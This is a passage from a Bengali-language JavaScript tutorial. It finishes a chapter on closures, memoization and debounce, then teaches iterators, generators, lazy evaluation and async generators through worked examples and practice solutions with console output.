        return result;
    };
}

const slowSquare = n => n * n;
const memoizedSquare = memoize(slowSquare);

console.log(memoizedSquare(12)); // Computing
console.log(memoizedSquare(12)); // Cache Hit
▶ CONSOLE OUTPUTOutput
[Computing] Calculating fresh result for: [12]
144
[Cache Hit] Returning cached result for: [12]
144
Practice 7: Debounce Function — Rate Limiting Keystrokes

Problem Requirement: একটি debounce(fn, delay) ফাংশন তৈরি করো যা ইউজার টাইপিং থামানোর 500ms পর এক্সিকিউট হবে।

Practice 7 Solution✅ Best Practice
function debounce(fn, delay) {
    let timer;
    return function(...args) {
        clearTimeout(timer); // Cancel previous timer
        timer = setTimeout(() => {
            fn.apply(this, args);
        }, delay);
    };
}

const performSearch = debounce(query => {
    console.log("Searching:", query);
}, 500);

// Simulating rapid user typing
performSearch("R");
performSearch("Ri");
performSearch("Rip");
performSearch("Ripon"); // Only this triggers after 500ms
▶ CONSOLE OUTPUTOutput
Searching: Ripon
26.Map 🎯 Final Mental Map & Core Architecture Flow

JavaScript Advanced Functions-এর মানসিক মডেল এবং কনসেপ্টসমূহের প্রাকৃতিক সংযোগ প্রবাহ:

🧭 Advanced Functions Architecture & Paradigm Map
Scope
  ↓
Lexical Scope
  ↓
Closure
  ↓
Private State
  ↓
Function Factory
  ↓
IIFE
  ↓
Function Returning Function
  ↓
Currying
  ↓
Partial Application
  ↓
Composition
  ↓
Memoization
  ↓
Decorator
  ↓
Debounce / Throttle
⭐ এক নজরে Chapter 26 এর মূল টেক-অ্যাওয়ে
Key Takeaway: JavaScript-এ ফাংশন কেবল কোড এক্সিকিউট করার ব্লক নয়—ফাংশন নিজেই প্রথম-শ্রেণীর ডেটা (First-Class Citizen), যা অন্য ফাংশন তৈরি করতে পারে (Higher-Order), নিজের আশপাশের স্টেট সারাজীবন মনে রাখতে পারে (Closure), ডেটাকে সুরক্ষিত এনক্যাপসুলেশনে আবদ্ধ রাখতে পারে (Private State), এবং একাধিক স্বাধীন ফাংশনকে যুক্ত করে শক্তিশালী ও টেস্টেবল প্রসেসিং পাইপলাইন তৈরি করতে পারে।
Chapter 27
↑ Index
Iterators & Generators — ইটারেটর ও জেনারেটর
Total Modules
43 Modules + Practice Lab
Curriculum Part
Part 21 — Iteration Protocols & Generators
Core Mechanics
Symbol.iterator, next(), yield & Streams
Reference Standard
ECMAScript 2026 / Modern V8 Internals
🎯 Iterators & Generators — JavaScript Sequence & Stream Architecture

JavaScript-এ ডেটা ক্রমান্বয়ে অ্যাক্সেস করার পেছনে একটি শক্তিশালী অন্তর্নিহিত মেকানিজম কাজ করে—যার নাম Iteration Protocols। এই চ্যাপ্টারে আমরা Iterable, Iterator, Symbol.iterator, Generator Functions (function*), yield, Lazy Evaluation এবং ইনফিনিট স্ট্রিম প্রসেসিংয়ের গভীরতম খুঁটিনাটি একদম বাস্তব উদাহরণসহ নিখুঁতভাবে শিখব।

📌 1. Iterable Concept
📌 2. Iterator Protocol
📌 3. Symbol.iterator
📌 4. next() Mechanics
📌 5. { value, done }
📌 6. for...of Loop Internal
📌 7. Custom Iterators
📌 8. Generator Function*
📌 9. yield Operator
📌 10. Pause & Resume
📌 11. Generator State Machine
📌 12. Two-way next(val)
📌 13. return() & throw()
📌 14. yield* Delegation
📌 15. Infinite Streams
📌 16. Lazy Evaluation
📌 17. Fibonacci Generator
📌 18. Range Generator
📌 19. Custom Iterable Class
📌 20. Object as Iterable
📌 21. API Pagination Stream
📌 22. Async Generators
📌 23. Memory Optimization
📌 24. 9 Production Challenges
Part 01 — Iterables, Iteration Protocols & Symbol.iterator (27.1 – 27.8)
27.1 প্রথমে একটা সমস্যা বুঝি

ধরো আমাদের কাছে:

JavaScript SourceJavaScript
const numbers = [10, 20, 30, 40];

আমরা লিখতে পারি:

JavaScript SourceJavaScript
for (const number of numbers) {
    console.log(number);
}

Output:

▶ CONSOLE OUTPUTOutput
10
20
30
40

কিন্তু প্রশ্ন হলো: > JavaScript কীভাবে জানে যে array-এর কোন value আগে দিতে হবে এবং কোনটা পরে দিতে হবে? এর পেছনে আছে Iterator

27.2 Iterable কী?

Iterable হলো এমন কোনো value যেটাকে একটার পর একটা করে iterate করা যায়। Common iterable:

▶ CONSOLE OUTPUTOutput
Array
String
Map
Set
TypedArray
Generator

Example:

JavaScript SourceJavaScript
const numbers = [10, 20, 30];

for (const number of numbers) {
    console.log(number);
}

Array হলো iterable।

27.3 String-ও Iterable
JavaScript SourceJavaScript
const word = "HELLO";

for (const letter of word) {
    console.log(letter);
}

Output:

▶ CONSOLE OUTPUTOutput
H
E
L
L
O

কারণ String-ও iterable।

27.4 Symbol.iterator

Iterable object-এর একটি বিশেষ method থাকে:

JavaScript SourceJavaScript
Symbol.iterator

Array-এর ক্ষেত্রে:

JavaScript SourceJavaScript
const numbers = [10, 20, 30];

console.log(numbers[Symbol.iterator]);

Output function-এর মতো কিছু দেখতে পারো:

▶ CONSOLE OUTPUTOutput
[Function: values]

এই method একটি iterator return করে।

27.5 Iterator কী?

Iterator হলো এমন একটি object যেটা sequentially values provide করে। একটি iterator-এর মূল method:

JavaScript SourceJavaScript
next()

Example:

JavaScript SourceJavaScript
const numbers = [10, 20, 30];

const iterator = numbers[Symbol.iterator]();

console.log(iterator.next());
console.log(iterator.next());
console.log(iterator.next());
console.log(iterator.next());

Output:

▶ CONSOLE OUTPUTOutput
{ value: 10, done: false }
{ value: 20, done: false }
{ value: 30, done: false }
{ value: undefined, done: true }
🧠 next() কী return করে?

প্রতিবার next() একটি object return করে:

JavaScript SourceJavaScript
{
    value: ...,
    done: ...
}

দুটি property:

Propertyঅর্থ
valueবর্তমান value
doneiteration শেষ হয়েছে কিনা
27.6 done বুঝি
JavaScript SourceJavaScript
const numbers = [10, 20];

const iterator = numbers[Symbol.iterator]();

console.log(iterator.next());
console.log(iterator.next());
console.log(iterator.next());

Output:

▶ CONSOLE OUTPUTOutput
{ value: 10, done: false }
{ value: 20, done: false }
{ value: undefined, done: true }

শেষে:

JavaScript SourceJavaScript
done: true

মানে: > আর কোনো value নেই।

27.7 Iterator Manually চালানো
JavaScript SourceJavaScript
const numbers = [100, 200, 300];

const iterator = numbers[Symbol.iterator]();

let result = iterator.next();

while (!result.done) {

    console.log(result.value);

    result = iterator.next();
}

Output:

▶ CONSOLE OUTPUTOutput
100
200
300

অর্থাৎ for...of মূলত এই ধরনের iteration mechanism ব্যবহার করে।

27.8 for...of কীভাবে কাজ করে?

তুমি লিখলে:

JavaScript SourceJavaScript
for (const number of numbers) {
    console.log(number);
}

Conceptually:

🧭 Architecture / Concept Flow
numbers
   ↓
Symbol.iterator
   ↓
iterator
   ↓
next()
   ↓
value
   ↓
next()
   ↓
value
   ↓
done === true

অর্থাৎ:

JavaScript SourceJavaScript
for...of

এর পেছনে iterator protocol কাজ করছে।

Part 02 — Custom Iterators & Practical Sequences (27.9 – 27.13)
27.9 Iterable বনাম Iterator

এটা খুব গুরুত্বপূর্ণ।

🔹 Iterable

যার কাছে:

JavaScript SourceJavaScript
Symbol.iterator

থাকে।

🔹 Iterator

যার কাছে:

JavaScript SourceJavaScript
next()

থাকে। সহজভাবে:

🧭 Architecture / Concept Flow
Iterable → Iterator তৈরি করতে পারে

Iterator → next() দিয়ে value দেয়
27.10 Array Example
JavaScript SourceJavaScript
const arr = [1, 2, 3];

const iterator = arr[Symbol.iterator]();

console.log(typeof arr[Symbol.iterator]);
console.log(typeof iterator.next);

Output:

▶ CONSOLE OUTPUTOutput
function
function
27.11 Custom Iterator

এখন আমরা নিজের Iterator বানাবো। ধরো:

▶ CONSOLE OUTPUTOutput
10
20
30

আমরা চাই object-টাকে for...of দিয়ে iterate করতে।

JavaScript SourceJavaScript
const numbers = {

    values: [10, 20, 30],

    [Symbol.iterator]() {

        let index = 0;

        return {

            next: () => {

                if (index < this.values.length) {

                    return {
                        value: this.values[index++],
                        done: false
                    };

                }

                return {
                    value: undefined,
                    done: true
                };
            }
        };
    }
};

এখন:

JavaScript SourceJavaScript
for (const number of numbers) {
    console.log(number);
}

Output:

▶ CONSOLE OUTPUTOutput
10
20
30
🧠 এখানে কী হলো?

আমরা বললাম:

JavaScript SourceJavaScript
[Symbol.iterator]()

যখন call হবে, তখন একটা iterator return করবে। Iterator-এর:

JavaScript SourceJavaScript
next()

method আছে। তারপর for...of বারবার next() call করে।

27.12 Custom Iterator সহজ Version

একটু ছোট করে:

JavaScript SourceJavaScript
const range = {

    start: 1,
    end: 5,

    [Symbol.iterator]() {

        let current = this.start;

        return {

            next: () => {

                if (current <= this.end) {

                    return {
                        value: current++,
                        done: false
                    };

                }

                return {
                    done: true
                };
            }
        };
    }
};

for (const number of range) {
    console.log(number);
}

Output:

▶ CONSOLE OUTPUTOutput
1
2
3
4
5
27.13 Real-Life Example: Pagination

ধরো API থেকে data আসে:

▶ CONSOLE OUTPUTOutput
Page 1
Page 2
Page 3
Page 4

Iterator concept দিয়ে আমরা page-by-page data process করতে পারি।

🧭 Architecture / Concept Flow
Page 1 → process
Page 2 → process
Page 3 → process
...

সব data একসাথে memory-তে রাখার প্রয়োজন নাও হতে পারে। এখান থেকেই আসে lazy processing

Part 03 — Generators, yield Mechanics & Execution Control (27.14 – 27.25)
27.14 Generator কী?

Generator হলো JavaScript-এর এমন একটি special function যেটা execution pause এবং resume করতে পারে। Generator function লিখতে:

JavaScript SourceJavaScript
function*

ব্যবহার করা হয়। Example:

JavaScript SourceJavaScript
function* numbers() {

    yield 10;
    yield 20;
    yield 30;

}
27.15 Generator Call
JavaScript SourceJavaScript
function* numbers() {

    yield 10;
    yield 20;
    yield 30;

}

const generator = numbers();

console.log(generator.next());
console.log(generator.next());
console.log(generator.next());
console.log(generator.next());

Output:

▶ CONSOLE OUTPUTOutput
{ value: 10, done: false }
{ value: 20, done: false }
{ value: 30, done: false }
{ value: undefined, done: true }
27.16 yield কী?

yield generator-এর execution pause করে।

JavaScript SourceJavaScript
function* test() {

    console.log("Step 1");

    yield "Hello";

    console.log("Step 2");

    yield "World";

    console.log("Step 3");

}

এখন:

JavaScript SourceJavaScript
const generator = test();

console.log(generator.next());
console.log(generator.next());
console.log(generator.next());

Output roughly:

▶ CONSOLE OUTPUTOutput
Step 1
{ value: "Hello", done: false }

Step 2
{ value: "World", done: false }

Step 3
{ value: undefined, done: true }
🧠 Generator-এর Mental Model
🧭 Architecture / Concept Flow
generator start
      ↓
   yield 1
      ↓
    pause
      ↓
 next()
      ↓
   yield 2
      ↓
    pause
      ↓
 next()
      ↓
   yield 3
      ↓
    pause
      ↓
 next()
      ↓
   done
27.17 Generator-এর সবচেয়ে গুরুত্বপূর্ণ বৈশিষ্ট্য

Normal function:

JavaScript SourceJavaScript
function test() {

    return 10;

    return 20;
}

return করার পর function শেষ। কিন্তু Generator:

JavaScript SourceJavaScript
function* test() {

    yield 10;
    yield 20;
    yield 30;

}

একাধিক value sequentially দিতে পারে।

27.18 Generator State

Generator state মনে রাখে।

JavaScript SourceJavaScript
function* counter() {

    let count = 1;

    yield count++;

    yield count++;

    yield count++;

}

const generator = counter();

console.log(generator.next().value);
console.log(generator.next().value);
console.log(generator.next().value);

Output:

▶ CONSOLE OUTPUTOutput
1
2
3

প্রতিবার state preserve হচ্ছে।

27.19 Generator + for...of

Generator নিজেই iterable।

JavaScript SourceJavaScript
function* numbers() {

    yield 10;
    yield 20;
    yield 30;

}

for (const number of numbers()) {

    console.log(number);

}

Output:

▶ CONSOLE OUTPUTOutput
10
20
30
27.20 Generator + Array Spread
JavaScript SourceJavaScript
function* numbers() {

    yield 10;
    yield 20;
    yield 30;

}

const result = [...numbers()];

console.log(result);

Output:

▶ CONSOLE OUTPUTOutput
[10, 20, 30]
27.21 Generator Parameters

Generator-এর ভিতরে parameters নেওয়া যায়।

JavaScript SourceJavaScript
function* greeting(name) {

    yield `Hello ${name}`;

    yield "Welcome to JavaScript";

}

const generator = greeting("Shariar");

console.log(generator.next().value);
console.log(generator.next().value);

Output:

▶ CONSOLE OUTPUTOutput
Hello Shariar
Welcome to JavaScript
27.22 next(value)

এটি Generator-এর advanced feature। next() দিয়ে generator-এ value পাঠানো যায়।

JavaScript SourceJavaScript
function* test() {

    const value = yield "Enter a value";

    yield `You entered: ${value}`;

}

const generator = test();

console.log(generator.next());
console.log(generator.next(100));

Output:

▶ CONSOLE OUTPUTOutput
{ value: "Enter a value", done: false }
{ value: "You entered: 100", done: false }
🔹 কীভাবে কাজ করছে?

প্রথম:

JavaScript SourceJavaScript
generator.next()

Generator চলে:

JavaScript SourceJavaScript
const value = yield "Enter a value";

এখানে pause। তারপর:

JavaScript SourceJavaScript
generator.next(100)

এর 100 গিয়ে:

JavaScript SourceJavaScript
value

এর মধ্যে ঢুকে যায়।

27.23 Generator return()

Generator manually stop করা যায়।

JavaScript SourceJavaScript
function* numbers() {

    yield 1;
    yield 2;
    yield 3;

}

const generator = numbers();

console.log(generator.next());

console.log(generator.return("Stopped"));

console.log(generator.next());

Output:

▶ CONSOLE OUTPUTOutput
{ value: 1, done: false }
{ value: "Stopped", done: true }
{ value: undefined, done: true }
27.24 Generator throw()

Generator-এর ভিতরে error throw করা যায়।

JavaScript SourceJavaScript
function* test() {

    try {

        yield "Hello";

    } catch (error) {

        console.log("Error handled");

    }

}

const generator = test();

console.log(generator.next());

generator.throw(new Error("Something went wrong"));

Output:

▶ CONSOLE OUTPUTOutput
{ value: "Hello", done: false }
Error handled
27.25 yield*

একটি generator অন্য generator-এর values yield করতে পারে।

JavaScript SourceJavaScript
function* numbers() {

    yield 1;
    yield 2;

}

function* allNumbers() {

    yield* numbers();

    yield 3;
    yield 4;

}

for (const number of allNumbers()) {

    console.log(number);

}

Output:

▶ CONSOLE OUTPUTOutput
1
2
3
4
Part 04 — Lazy Evaluation, Streams & Infinite Sequences (27.26 – 27.33)
27.26 Generator দিয়ে ID Generator

এটি খুব practical example।

JavaScript SourceJavaScript
function* idGenerator() {

    let id = 1;

    while (true) {

        yield id++;

    }

}

const generateId = idGenerator();

console.log(generateId.next().value);
console.log(generateId.next().value);
console.log(generateId.next().value);
console.log(generateId.next().value);

Output:

▶ CONSOLE OUTPUTOutput
1
2
3
4

এখানে generator infinite। কিন্তু সমস্যা নেই, কারণ একসাথে সব generate করছে না। যখন দরকার:

JavaScript SourceJavaScript
next()

তখন value দিচ্ছে।

27.27 Infinite Generator
JavaScript SourceJavaScript
function* infiniteNumbers() {

    let number = 1;

    while (true) {

        yield number++;

    }

}

এটি theoretically infinite:

▶ CONSOLE OUTPUTOutput
1
2
3
4
5
...
∞

কিন্তু:

JavaScript SourceJavaScript
const generator = infiniteNumbers();

console.log(generator.next().value);
console.log(generator.next().value);
console.log(generator.next().value);

শুধু প্রয়োজনীয় তিনটি value তৈরি হয়েছে।

27.28 Lazy Evaluation

এটি Iterators/Generators-এর সবচেয়ে গুরুত্বপূর্ণ practical concept-এর একটি। Lazy Evaluation মানে: > প্রয়োজন হওয়ার আগে value তৈরি না করা। ধরো 1 থেকে 1 billion পর্যন্ত numbers। Normal array:

JavaScript SourceJavaScript
const numbers = [];

for (let i = 1; i <= 1_000_000_000; i++) {
    numbers.push(i);
}

এখানে huge memory লাগবে। Generator:

JavaScript SourceJavaScript
function* numbers() {

    let i = 1;

    while (true) {

        yield i++;

    }

}

এখানে সব number memory-তে একসাথে রাখা হচ্ছে না। যখন দরকার:

JavaScript SourceJavaScript
generator.next();

তখন value তৈরি হচ্ছে।

27.29 Practical Lazy Processing

ধরো আমরা শুধু প্রথম 5টি value চাই:

JavaScript SourceJavaScript
function* numbers() {

    let i = 1;

    while (true) {
        yield i++;
    }

}

const generator = numbers();

for (let i = 0; i < 5; i++) {

    console.log(generator.next().value);

}

Output:

▶ CONSOLE OUTPUTOutput
1
2
3
4
5
27.30 Generator দিয়ে Fibonacci

Fibonacci:

▶ CONSOLE OUTPUTOutput
0
1
1
2
3
5
8
13
21
...

Generator:

JavaScript SourceJavaScript
function* fibonacci() {

    let a = 0;
    let b = 1;

    while (true) {

        yield a;

        [a, b] = [b, a + b];

    }

}

ব্যবহার:

JavaScript SourceJavaScript
const fib = fibonacci();

for (let i = 0; i < 10; i++) {

    console.log(fib.next().value);

}

Output:

▶ CONSOLE OUTPUTOutput
0
1
1
2
3
5
8
13
21
34
27.31 Generator দিয়ে Range
JavaScript SourceJavaScript
function* range(start, end, step = 1) {

    for (let value = start; value <= end; value += step) {

        yield value;

    }

}

for (const number of range(1, 10, 2)) {

    console.log(number);

}

Output:

▶ CONSOLE OUTPUTOutput
1
3
5
7
9

এটি reusable utility হতে পারে।

27.32 Custom Iterable Class

Class-এর সাথে Iterator combine করা যায়।

JavaScript SourceJavaScript
class NumberRange {

    constructor(start, end) {

        this.start = start;
        this.end = end;

    }

    *[Symbol.iterator]() {

        for (
            let number = this.start;
            number <= this.end;
            number++
        ) {

            yield number;

        }

    }

}

const range = new NumberRange(1, 5);

for (const number of range) {

    console.log(number);

}

Output:

▶ CONSOLE OUTPUTOutput
1
2
3
4
5

এখানে:

JavaScript SourceJavaScript
*[Symbol.iterator]()

একটি generator method।

27.33 Generator Method

Class-এর method-ও generator হতে পারে।

JavaScript SourceJavaScript
class UserList {

    constructor(users) {
        this.users = users;
    }

    *getUsers() {

        for (const user of this.users) {

            yield user;

        }

    }

}

const users = new UserList([
    "Shariar",
    "Rahim",
    "Karim"
]);

for (const user of users.getUsers()) {

    console.log(user);

}

Output:

▶ CONSOLE OUTPUTOutput
Shariar
Rahim
Karim
Part 05 — Architectural Comparisons & Async Streaming (27.34 – 27.42)
27.34 Iterator vs Generator
IteratorGenerator
next() manually implement করতে হয়yield ব্যবহার করা যায়
বেশি code লাগেকম code
Symbol.iterator manually লিখতে হতে পারেgenerator automatically iterable
More controlEasier syntax
Low-level conceptHigher-level abstraction
🔹 Iterator:
JavaScript SourceJavaScript
const iterator = {

    next() {
        return {
            value: 1,
            done: false
        };
    }

};
🔹 Generator:
JavaScript SourceJavaScript
function* generator() {

    yield 1;

}

Generator অনেক ক্ষেত্রে iterator তৈরি করা সহজ করে।

27.35 Iterable vs Iterator vs Generator

এটা অবশ্যই clear রাখতে হবে।

🧭 Architecture / Concept Flow
Iterable
   │
   └── Symbol.iterator()
            │
            ↓
        Iterator
            │
            └── next()
                  │
                  ↓
             { value, done }

Generator:

🧭 Architecture / Concept Flow
Generator Function
       ↓
Generator Object
       ↓
Iterable + Iterator

অর্থাৎ Generator object সাধারণত দুটোই: > Iterable + Iterator

27.36 কোনগুলো Iterable?
ValueIterable?
Array
String
Map
Set
Generator
Object {}❌ সাধারণভাবে
Number
Boolean

এই জন্য:

JavaScript SourceJavaScript
for (const value of {}) {
}

❌ TypeError হবে। কারণ সাধারণ object iterable নয়।

27.37 Object-কে Iterable করা
JavaScript SourceJavaScript
const user = {

    name: "Shariar",
    age: 23,

    *[Symbol.iterator]() {

        yield this.name;
        yield this.age;

    }

};

for (const value of user) {

    console.log(value);

}

Output:

▶ CONSOLE OUTPUTOutput
Shariar
23

এখন object iterable হয়ে গেছে।

27.38 Generator vs Normal Function
Normal FunctionGenerator
functionfunction*
returnyield
একবার executePause/resume
সাধারণত single resultMultiple sequential results
state execution শেষে শেষstate preserve করে
lazy sequence নয়lazy sequence তৈরি করতে পারে
27.39 Real-Life Example: API Pagination

ধরো API-এর data:

▶ CONSOLE OUTPUTOutput
/page=1
/page=2
/page=3
...

Conceptually:

JavaScript SourceJavaScript
async function* fetchPages() {

    let page = 1;

    while (true) {

        const response =
            await fetch(`/api/users?page=${page}`);

        const data = await response.json();

        if (data.length === 0) {
            return;
        }

        yield data;

        page++;
    }

}

ব্যবহার:

JavaScript SourceJavaScript
for await (const users of fetchPages()) {

    console.log(users);

}

এটি Async Generator। এটা আমরা পরে Async JavaScript-এর সাথে আরও গভীরভাবে ব্যবহার করব।

27.40 Sync Generator বনাম Async Generator
🔹 Sync Generator
JavaScript SourceJavaScript
function* numbers() {

    yield 1;
    yield 2;

}
🔹 Async Generator
JavaScript SourceJavaScript
async function* numbers() {

    yield 1;
    yield 2;

}

Async generator asynchronous data stream-এর জন্য useful। যেমন:

▶ CONSOLE OUTPUTOutput
API pagination
Database cursor
Streaming data
WebSocket-like data processing
Large data processing
27.41 Generator কখন ব্যবহার করবে?

Generator useful হতে পারে যখন:

🔹 1. Large data
▶ CONSOLE OUTPUTOutput
Millions of records
🔹 2. Infinite sequence
▶ CONSOLE OUTPUTOutput
ID
Counter
Fibonacci
🔹 3. Lazy processing
▶ CONSOLE OUTPUTOutput
Generate only when needed
🔹 4. Pagination
▶ CONSOLE OUTPUTOutput
Page 1
Page 2
Page 3
🔹 5. Custom iteration

নিজের object-কে for...of compatible করা।

27.42 Generator কখন ব্যবহার না করাই ভালো?

প্রতিটি সমস্যায় Generator দরকার নেই। যদি:

JavaScript SourceJavaScript
const numbers = [1, 2, 3, 4, 5];

এতটুকুই হয়, তাহলে normal array যথেষ্ট। অযথা:

JavaScript SourceJavaScript
function* ...

ব্যবহার করলে code unnecessarily complex হতে পারে।

Part 06 — Production Mastery, Practice Lab & Mental Map (27.43 – 27.46)
27.43 MUST KNOW

এই Chapter থেকে অবশ্যই মনে রাখবে:

🔹 Iterable
JavaScript SourceJavaScript
Symbol.iterator

থাকে।

🔹 Iterator
JavaScript SourceJavaScript
next()

থাকে।

🔹 Iterator result
JavaScript SourceJavaScript
{
    value,
    done
}
🔹 Generator
JavaScript SourceJavaScript
function* test() {}
🔹 Yield
JavaScript SourceJavaScript
yield value;
🔹 Generator execution
JavaScript SourceJavaScript
generator.next();
🔹 Infinite Generator
JavaScript SourceJavaScript
while (true) {
    yield value;
}
🔹 Generator delegation
JavaScript SourceJavaScript
yield* anotherGenerator();
🔹 Async Generator
JavaScript SourceJavaScript
async function* test() {}
27.Cheat 🧠 Quick Cheat Sheet — Iterators & Generators Syntax Matrix

Iteration Protocols এবং Generator স্টেট মেশিনের দ্রুত রেফারেন্সের জন্য সম্পূর্ণ ফ্লো ও সিনট্যাক্স সামারি:

🧭 Iteration Flow
Iterable
   ↓
Symbol.iterator
   ↓
Iterator
   ↓
next()
   ↓
{ value, done }
Generator PatternJavaScript
function* numbers() {
    yield 1;
    yield 2;
    yield 3;
}

const generator = numbers();
generator.next(); // { value: 1, done: false }
generator.next(); // { value: 2, done: false }
generator.next(); // { value: 3, done: false }
generator.next(); // { value: undefined, done: true }
yield
বর্তমান মান রিটার্ন করে এবং ফাংশনের এক্সিকিউশন স্টেট সাময়িকভাবে পজ (Pause) করে।
next()
পজ হওয়া জেনারেটর এক্সিকিউশনকে পুনরায় শুরু (Resume) করে পরবর্তী yield পর্যন্ত চালায়।
yield*
অন্য কোনো Iterable বা Generator-এ ডেলিগেট করে তার প্রতিটি মান ধারাবাহিকভাবে yield করে।
27.Lab 📝 Hands-On Practice Lab — 9 Production Mastery Challenges

Iterators, Custom Iterables এবং Generators কনসেপ্টগুলোকে সম্পূর্ণ আয়ত্তে আনতে নিচে ৩টি লেভেলের ৯টি প্র্যাকটিক্যাল চ্যালেঞ্জের সম্পূর্ণ মডেল সলিউশন দেওয়া হলো:

Practice 1: Static Numeric Generator Beginner

Problem Requirement: একটি জেনারেটর ফাংশন generateTenToFifty() তৈরি করো যা ক্রমান্বয়ে 10, 20, 30, 40, 50 মানগুলো yield দিয়ে প্রদান করবে।

Practice 1 Model Solution✅ Standard Pattern
function* generateTenToFifty() {
    yield 10;
    yield 20;
    yield 30;
    yield 40;
    yield 50;
}

const gen = generateTenToFifty();
for (const val of gen) {
    console.log(val);
}
▶ CONSOLE OUTPUTOutput
10
20
30
40
50
Practice 2: Loop-Driven Sequence Generator Beginner

Problem Requirement: লুপের সাহায্যে একটি জেনারেটর ফাংশন countToOneTen() তৈরি করো যা 1 থেকে 10 পর্যন্ত সংখ্যা জেনারেট করবে।

Practice 2 Model Solution✅ Standard Pattern
function* countToOneTen() {
    for (let i = 1; i <= 10; i++) {
        yield i;
    }
}

const sequence = [...countToOneTen()];
console.log("Generated Sequence:", sequence);
▶ CONSOLE OUTPUTOutput
Generated Sequence: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
Practice 3: Manual Iterator Traversal Beginner

Problem Requirement: একটি সাধারণ অ্যারের [Symbol.iterator]() মেথড কল করে while লুপ ও next() দিয়ে ম্যানুয়ালি সব উপাদান প্রিন্ট করো।

Practice 3 Model Solution✅ Standard Pattern
const fruits = ["Apple", "Mango", "Banana"];

// Manually extract iterator from array
const iterator = fruits[Symbol.iterator]();

let result = iterator.next();
while (!result.done) {
    console.log(result.value);
    result = iterator.next();
}
▶ CONSOLE OUTPUTOutput
Apple
Mango
Banana
Practice 4: Custom range(start, end) Generator Intermediate

Problem Requirement: Python-এর মতো একটি range(start, end) জেনারেটর ফাংশন বানাও যা range(5, 10) কল করলে 5 থেকে 10 রিটার্ন করবে।

Practice 4 Model Solution✅ Standard Pattern
function* range(start, end) {
    for (let current = start; current <= end; current++) {
        yield current;
    }
}

for (const num of range(5, 10)) {
    console.log(num);
}
▶ CONSOLE OUTPUTOutput
5
6
7
8
9
10
Practice 5: Zero-Padded User ID Generator Intermediate

Problem Requirement: একটি ইনফিনিট আইডি জেনারেটর তৈরি করো যা কল করলে USER-001, USER-002, USER-003 ফরম্যাটে প্যাডেড আইডি তৈরি করবে।

Practice 5 Model Solution✅ Standard Pattern
function* createUserIdGenerator(prefix = "USER") {
    let id = 1;
    while (true) {
        const formatted = String(id).padStart(3, "0");
        yield `${prefix}-${formatted}`;
        id++;
    }
}

const idGen = createUserIdGenerator();
console.log(idGen.next().value); // USER-001
console.log(idGen.next().value); // USER-002
console.log(idGen.next().value); // USER-003
console.log(idGen.next().value); // USER-004
▶ CONSOLE OUTPUTOutput
USER-001
USER-002
USER-003
USER-004
Practice 6: Fibonacci Infinite Generator Intermediate

Problem Requirement: একটি ইনফিনিট ফিবোনাচ্চি জেনারেটর তৈরি করে তা থেকে প্রথম 10টি ফিবোনাচ্চি সংখ্যা সংগ্রহ করে প্রিন্ট করো।

Practice 6 Model Solution✅ Standard Pattern
function* fibonacci() {
    let current = 0;
    let next = 1;
    while (true) {
        yield current;
        [current, next] = [next, current + next];
    }
}

const fib = fibonacci();
const firstTen = [];
for (let i = 0; i < 10; i++) {
    firstTen.push(fib.next().value);
}

console.log("First 10 Fibonacci:", firstTen);
▶ CONSOLE OUTPUTOutput
First 10 Fibonacci: [0, 1, 1, 2, 3, 5, 8, 13, 21, 34]
Practice 7: Dynamic Pagination Generator Advanced

Problem Requirement: একটি paginate(items, pageSize) জেনারেটর ফাংশন তৈরি করো যা বড় অ্যারে থেকে পেজ অনুযায়ী চাঙ্ক (chunks) yield করবে।

Practice 7 Model Solution✅ Standard Pattern
function* paginate(items, pageSize = 3) {
    for (let i = 0; i < items.length; i += pageSize) {
        yield items.slice(i, i + pageSize);
    }
}

const dataset = [101, 102, 103, 104, 105, 106, 107];
const pager = paginate(dataset, 3);

console.log("Page 1:", pager.next().value);
console.log("Page 2:", pager.next().value);
console.log("Page 3:", pager.next().value);
console.log("End:", pager.next().done);
▶ CONSOLE OUTPUTOutput
Page 1: [101, 102, 103]
Page 2: [104, 105, 106]
Page 3: [107]
End: true
Practice 8: Custom Iterable Class Implementation Advanced

Problem Requirement: একটি NumberRange ক্লাস তৈরি করো যা [Symbol.iterator]() মেথড ইমপ্লিমেন্ট করবে যাতে ক্লাসের ইন্সট্যান্স সরাসরি for...of সমর্থন করে।

Practice 8 Model Solution✅ Standard Pattern
class NumberRange {
    constructor(from, to) {
        this.from = from;
        this.to = to;
    }

    *[Symbol.iterator]() {
        for (let current = this.from; current <= this.to; current++) {
            yield current;
        }
    }
}

const myRange = new NumberRange(1, 5);
const collected = [...myRange];
console.log("Spread from class:", collected);
▶ CONSOLE OUTPUTOutput
Spread from class: [1, 2, 3, 4, 5]
Practice 9: Async Generator for Streamed API Paging Advanced

Problem Requirement: একটি async function* fetchPages(totalPages) জেনারেটর তৈরি করো যা অ্যাসিঙ্ক নেটওয়ার্ক রিকোয়েস্ট সিমুলেট করে for await (const page of ...) দিয়ে প্রসেস হবে।

Practice 9 Model Solution✅ Standard Pattern
// Simulating asynchronous API page delay
const wait = ms => new Promise(res => setTimeout(res, ms));

async function* fetchPages(totalPages = 3) {
    for (let p = 1; p <= totalPages; p++) {
        await wait(50); // Simulated network latency
        yield { page: p, data: [`Item ${p}A`, `Item ${p}B`] };
    }
}

async function runStream() {
    for await (const pageData of fetchPages(3)) {
        console.log(`Received Page ${pageData.page}:`, pageData.data);
    }
}

runStream();
▶ CONSOLE OUTPUTOutput
Received Page 1: ['Item 1A', 'Item 1B']
Received Page 2: ['Item 2A', 'Item 2B']
Received Page 3: ['Item 3A', 'Item 3B']
27.Map 🎯 Final Mental Map & Iteration Protocol Architecture

JavaScript Iteration Ecosystem-এর সম্পূর্ণ মেমরি ও কনসেপ্ট কাঠামোর চূড়ান্ত চিত্র:

🧭 Iterators & Generators Ecosystem Map
Iteration
                     │
          ┌──────────┴──────────┐
          │                     │
       Iterable              Iterator
          │                     │
 Symbol.iterator              next()
          │                     │
          └──────────┬──────────┘
                     │
               { value, done }
                     
                     
                 Generator
                     │
             function* / yield
                     │
          ┌──────────┴──────────┐
          │                     │
       Pause                 Resume
          │                     │
        yield()              next()
          │
          ↓
      Lazy Evaluation
          │
     ┌────┼─────┬────────┐
     │    │     │        │
   Large  IDs  Paging  Streams
   Data
⭐ সবচেয়ে গুরুত্বপূর্ণ ৫টি Concept

যদি Chapter 27 থেকে শুধু ৫টা জিনিস মনে রাখতে চাও:

🎯 CORE CONCEPTS TAKEAWAYQuick Recall
1️⃣ Iterable → Symbol.iterator
2️⃣ Iterator → next()
3️⃣ next() → { value, done }
4️⃣ Generator → function*
